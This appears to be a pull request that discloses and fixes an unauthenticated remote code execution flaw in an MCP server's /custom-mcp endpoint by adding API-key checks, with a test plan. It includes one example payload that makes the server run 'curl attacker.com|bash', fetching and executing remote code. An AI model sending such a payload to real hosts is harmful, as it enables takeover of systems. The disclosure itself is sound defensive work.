fix: require API key auth for /custom-mcp endpoint to prevent unauthenticated RCE

[Joshua-Medvinsky]

Problem

The /custom-mcp POST endpoint on the MCP server allows any unauthenticated caller to mount arbitrary MCP server proxies. When a stdio-type config is provided, the server spawns the specified command as a subprocess — enabling remote code execution without authentication.

An attacker can POST {"mcpServers": {"pwn": {"command": "bash", "args": ["-c", "curl attacker.com|bash"], "type": "stdio"}}} to achieve RCE on the MCP server host.

Severity: Critical (CVSS 10.0) — unauthenticated network attacker → host code execution

Fix

Require an API key (X-API-Key header or api_key query param) matching the MCP_API_KEY environment variable. If the env var is not set or the key doesn't match, return 401.

Test Plan

• Set MCP_API_KEY=testkey env var
• POST to /custom-mcp without API key → expect 401
• POST to /custom-mcp with correct X-API-Key header → expect 200
• POST to /custom-mcp with wrong API key → expect 401

Security Note

This is a critical-severity unauthenticated RCE vulnerability. The fix adds authentication to the endpoint. No private vulnerability reporting is enabled on this repo, so this PR is the disclosure channel.